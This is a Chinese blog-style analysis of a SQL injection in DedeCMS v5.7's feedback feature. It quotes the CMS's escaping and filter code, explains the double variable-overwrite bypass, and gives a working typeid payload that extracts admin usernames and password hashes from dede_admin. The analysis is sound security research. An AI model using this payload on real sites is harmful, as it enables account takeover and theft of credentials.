dedecms+5.7+is+php,Dedecms v5.7 最新注入分析

完整的输入语句,第二个参数 typeid可控。

1

INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092','0','0','0','feedback','0','nsfocus&&paxmac team');

想要利用注入,就要先了解下dedecms的防御机制。

首先他对一切request进来的参数都会进行转义,具体看代码

L3Byb3h5L2h0dHAvaHVha2FpLnBheG1hYy5vcmcvd3AtY29udGVudC91cGxvYWRzLzIuanBnLnBuZw==.jpg

common.inc.php文件 会把所有的request进行处理。

01

function _RunMagicQuotes(&$svar)

02

{

03

if(!get_magic_quotes_gpc())

04

{

05

if(is_array($svar) )

06

{

07

foreach($svar as $_k =>$_v)$svar[$_k] = _RunMagicQuotes($_v);

08

}

09

else

10

{

11

if(strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )

12

{

13

exit('Request var not allow!');

14

}

15

$svar =addslashes($svar);

16

}

17

}

18

return $svar;

19

}

20

…..

21

foreach(Array('_GET','_POST','_COOKIE')as $_request)

22

{

23

foreach($$_request as $_k =>$_v)

24

{

25

if($_k =='nvarname') ${$_k} =$_v;

26

else ${$_k} = _RunMagicQuotes($_v);

27

}

28

}

29

….

从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中

01

function _FilterAll($fk, &$svar)

02

{

03

global $cfg_notallowstr,$cfg_replacestr;

04

if(is_array($svar) )

05

{

06

foreach($svar as $_k =>$_v)

07

{

08

$svar[$_k] = _FilterAll($fk,$_v);

09

}

10

}

11

else

12

{

13

if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i",$svar))

14

{

15

ShowMsg(" $fk has not allow words!",'-1');

16

exit();

17

}

18

if($cfg_replacestr!='')

19

{

20

$svar = preg_replace('/'.$cfg_replacestr.'/i',"***",$svar);

21

}

22

}

23

return $svar;

24

}

25

26

/* 对_GET,_POST,_COOKIE进行过滤 */

27

foreach(Array('_GET','_POST','_COOKIE')as $_request)

28

{

29

foreach($$_request as $_k =>$_v)

30

{

31

${$_k} = _FilterAll($_k,$_v);

32

}

33

}

上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。

所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。

Eg: typeid=2\’ 经过覆盖 typeid=2’

研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111

我用tamper data提交此参数,

8fdf865d9e47306ec9cb9bab49484c5b.png

其实这里也利用了一个小bug

5a15bf54464f2ce901cd0e4502800bee.png

可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1),(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。

b656617b5b20ed3addfc3d0fadc2e45a.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值